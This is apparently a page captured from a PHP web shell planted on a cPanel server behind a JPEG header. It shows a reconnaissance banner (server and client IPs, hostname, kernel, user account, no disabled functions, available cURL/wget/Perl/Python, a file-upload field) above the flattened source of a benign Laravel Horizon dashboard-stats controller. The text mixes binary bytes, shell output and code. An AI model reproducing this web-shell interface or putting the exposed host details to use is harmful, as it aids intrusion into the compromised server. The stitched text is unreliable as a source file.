����JFIF��x�x����'
Server IP : 78.140.185.180 / Your IP : 216.73.216.168 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/www/vendor/laravel/horizon/src/Http/Controllers/ |
Upload File : |
<?php namespace Laravel\Horizon\Http\Controllers; use Laravel\Horizon\Contracts\JobRepository; use Laravel\Horizon\Contracts\MasterSupervisorRepository; use Laravel\Horizon\Contracts\MetricsRepository; use Laravel\Horizon\Contracts\SupervisorRepository; use Laravel\Horizon\WaitTimeCalculator; class DashboardStatsController extends Controller { /** * Get the key performance stats for the dashboard. * * @return array */ public function index() { return [ 'failedJobs' => app(JobRepository::class)->countRecentlyFailed(), 'jobsPerMinute' => app(MetricsRepository::class)->jobsProcessedPerMinute(), 'pausedMasters' => $this->totalPausedMasters(), 'periods' => [ 'failedJobs' => config('horizon.trim.recent_failed', config('horizon.trim.failed')), 'recentJobs' => config('horizon.trim.recent'), ], 'processes' => $this->totalProcessCount(), 'queueWithMaxRuntime' => app(MetricsRepository::class)->queueWithMaximumRuntime(), 'queueWithMaxThroughput' => app(MetricsRepository::class)->queueWithMaximumThroughput(), 'recentJobs' => app(JobRepository::class)->countRecent(), 'status' => $this->currentStatus(), 'wait' => collect(app(WaitTimeCalculator::class)->calculate())->take(1), ]; } /** * Get the total process count across all supervisors. * * @return int */ protected function totalProcessCount() { $supervisors = app(SupervisorRepository::class)->all(); return collect($supervisors)->reduce(function ($carry, $supervisor) { return $carry + collect($supervisor->processes)->sum(); }, 0); } /** * Get the current status of Horizon. * * @return string */ protected function currentStatus() { if (! $masters = app(MasterSupervisorRepository::class)->all()) { return 'inactive'; } return collect($masters)->every(function ($master) { return $master->status === 'paused'; }) ? 'paused' : 'running'; } /** * Get the number of master supervisors that are currently paused. * * @return int */ protected function totalPausedMasters() { if (! $masters = app(MasterSupervisorRepository::class)->all()) { return 0; } return collect($masters)->filter(function ($master) { return $master->status === 'paused'; })->count(); } }